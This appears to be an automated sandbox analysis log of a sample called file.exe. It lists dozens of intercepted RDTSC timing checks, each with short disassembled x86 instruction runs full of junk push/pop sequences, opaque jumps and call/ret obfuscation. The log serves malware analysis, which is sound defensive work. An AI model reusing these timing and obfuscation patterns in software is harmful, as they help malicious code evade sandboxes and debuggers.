Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EF5F second address: 111EF67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EF67 second address: 111EF71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9934C73DC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EF71 second address: 111EF75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EF75 second address: 111EF8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9934C73DD3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111EF8E second address: 111EFB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F9934D1A6A6h 0x00000009 jl 00007F9934D1A6A6h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F9934D1A6AEh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F271 second address: 111F284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9934C73DCAh 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111F42B second address: 111F435 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9934D1A6ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122F88 second address: 1123032 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov esi, dword ptr [ebp+122D2AE9h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F9934C73DC8h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a jl 00007F9934C73DCCh 0x00000030 add ecx, dword ptr [ebp+122D2A85h] 0x00000036 push 93941AC6h 0x0000003b jnp 00007F9934C73DD4h 0x00000041 add dword ptr [esp], 6C6BE5BAh 0x00000048 sub dword ptr [ebp+122D30C9h], edi 0x0000004e push 00000003h 0x00000050 push 00000000h 0x00000052 push esi 0x00000053 call 00007F9934C73DC8h 0x00000058 pop esi 0x00000059 mov dword ptr [esp+04h], esi 0x0000005d add dword ptr [esp+04h], 00000019h 0x00000065 inc esi 0x00000066 push esi 0x00000067 ret 0x00000068 pop esi 0x00000069 ret 0x0000006a push 00000000h 0x0000006c clc 0x0000006d push 00000003h 0x0000006f jmp 00007F9934C73DD5h 0x00000074 push 5BAD5395h 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c push ebx 0x0000007d pop ebx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123032 second address: 1123082 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9934D1A6ADh 0x0000000b popad 0x0000000c add dword ptr [esp], 6452AC6Bh 0x00000013 mov dword ptr [ebp+122D2F65h], ecx 0x00000019 lea ebx, dword ptr [ebp+12456E8Fh] 0x0000001f mov di, C04Bh 0x00000023 xchg eax, ebx 0x00000024 js 00007F9934D1A6AEh 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F9934D1A6B1h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123082 second address: 1123099 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112315F second address: 1123193 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jo 00007F9934D1A6BFh 0x00000011 jmp 00007F9934D1A6B9h 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123193 second address: 11231B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11231B0 second address: 11231E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9934D1A6B4h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f jng 00007F9934D1A6AAh 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11231E2 second address: 11231E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11231E6 second address: 11231F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11231F6 second address: 1123252 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 ja 00007F9934C73DC6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d add dword ptr [ebp+122D1AF4h], edi 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F9934C73DC8h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D2E0Ah], edi 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+122D25CDh], esi 0x0000003d push 00000003h 0x0000003f mov ecx, dword ptr [ebp+122D2B8Dh] 0x00000045 push 98C2B6A4h 0x0000004a push eax 0x0000004b push edx 0x0000004c jl 00007F9934C73DCCh 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123252 second address: 1123256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123256 second address: 1123260 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9934C73DCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112340A second address: 112340E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112340E second address: 1123412 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123412 second address: 1123418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1123418 second address: 112342C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9934C73DCFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143C34 second address: 1143C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141F1D second address: 1141F3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9934C73DD9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141F3A second address: 1141F5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9934D1A6B3h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jc 00007F9934D1A6C0h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141F5F second address: 1141F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141F65 second address: 1141F69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114232C second address: 1142348 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DCBh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007F9934C73DC6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11424A1 second address: 11424AA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11424AA second address: 11424D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9934C73DD2h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007F9934C73DC6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11424D0 second address: 11424D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11424D4 second address: 11424E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F9934C73DC6h 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11424E5 second address: 11424EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1142679 second address: 114267D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1142BEE second address: 1142BF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F9934D1A6A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104C46 second address: 1104C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104C50 second address: 1104C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9934D1A6B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104C6C second address: 1104C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C2C1 second address: 114C2C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AAE1 second address: 114AAE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AAE5 second address: 114AB02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AB02 second address: 114AB0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F9934C73DC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AB0D second address: 114AB1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114AB1A second address: 114AB1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114C3A1 second address: 114C3C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9934D1A6B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F82B second address: 114F83C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007F9934C73DC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114ECA9 second address: 114ECAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F4A4 second address: 114F4B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F4B3 second address: 114F4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F4B9 second address: 114F4FC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007F9934C73DE3h 0x0000000e jmp 00007F9934C73DD7h 0x00000013 jbe 00007F9934C73DC6h 0x00000019 push ebx 0x0000001a jmp 00007F9934C73DD5h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F666 second address: 114F66A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F66A second address: 114F682 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9934C73DCCh 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F682 second address: 114F6B2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F9934D1A6C7h 0x0000000f jmp 00007F9934D1A6B2h 0x00000014 jmp 00007F9934D1A6AFh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F6B2 second address: 114F6B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152D5A second address: 1152DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F9934D1A6B8h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jnl 00007F9934D1A6ACh 0x00000015 mov eax, dword ptr [eax] 0x00000017 jns 00007F9934D1A6B2h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 jp 00007F9934D1A6ACh 0x00000028 push ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152EC4 second address: 1152EDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007F9934C73DCDh 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115319C second address: 11531A1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115322A second address: 115322E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153BD2 second address: 1153BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1153EAC second address: 1153EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1154F83 second address: 1154F87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1154F87 second address: 1154F8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156079 second address: 115607E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11557C7 second address: 11557CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156B53 second address: 1156B67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9934D1A6B0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156B67 second address: 1156BC5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9934C73DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007F9934C73DCFh 0x00000012 clc 0x00000013 pop edi 0x00000014 push 00000000h 0x00000016 jp 00007F9934C73DC6h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007F9934C73DC8h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 xchg eax, ebx 0x00000039 jo 00007F9934C73DCEh 0x0000003f je 00007F9934C73DC8h 0x00000045 pushad 0x00000046 popad 0x00000047 push eax 0x00000048 push eax 0x00000049 push ecx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11575E7 second address: 11575EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11580FD second address: 115811B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9934C73DCCh 0x00000008 jo 00007F9934C73DC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9934C73DCBh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115811B second address: 1158125 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F9934D1A6A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D35A second address: 110D362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D362 second address: 110D3A1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9934D1A6A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F9934D1A6ABh 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edi 0x00000014 pushad 0x00000015 jmp 00007F9934D1A6B1h 0x0000001a push eax 0x0000001b pop eax 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 ja 00007F9934D1A6A6h 0x00000027 jnp 00007F9934D1A6A6h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110D3A1 second address: 110D3A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E162 second address: 115E174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F9934D1A6A8h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C82 second address: 1159C88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C88 second address: 1159C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11610DC second address: 11610FC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9934C73DC8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f ja 00007F9934C73DC6h 0x00000015 popad 0x00000016 jng 00007F9934C73DCCh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11632A9 second address: 11632AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11652F6 second address: 11652FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11623BA second address: 11623C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11623C1 second address: 1162455 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jc 00007F9934C73DD8h 0x00000010 jmp 00007F9934C73DD2h 0x00000015 nop 0x00000016 push dword ptr fs:[00000000h] 0x0000001d mov dword ptr [ebp+12454EC9h], esi 0x00000023 mov bh, 32h 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c jmp 00007F9934C73DD2h 0x00000031 mov eax, dword ptr [ebp+122D0011h] 0x00000037 pushad 0x00000038 jno 00007F9934C73DC9h 0x0000003e push edi 0x0000003f mov cx, ax 0x00000042 pop eax 0x00000043 popad 0x00000044 push FFFFFFFFh 0x00000046 push 00000000h 0x00000048 push edx 0x00000049 call 00007F9934C73DC8h 0x0000004e pop edx 0x0000004f mov dword ptr [esp+04h], edx 0x00000053 add dword ptr [esp+04h], 0000001Dh 0x0000005b inc edx 0x0000005c push edx 0x0000005d ret 0x0000005e pop edx 0x0000005f ret 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1162455 second address: 116245C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116245C second address: 1162462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165AA8 second address: 1165B05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007F9934D1A6B0h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 mov ebx, dword ptr [ebp+122D2D71h] 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 mov ebx, dword ptr [ebp+122D2AF9h] 0x0000002b mov eax, dword ptr [ebp+122D03D9h] 0x00000031 mov ebx, 2D9DF92Ah 0x00000036 push FFFFFFFFh 0x00000038 mov edi, 24B6A6E6h 0x0000003d push eax 0x0000003e push edi 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F9934D1A6ABh 0x00000046 rdtsc
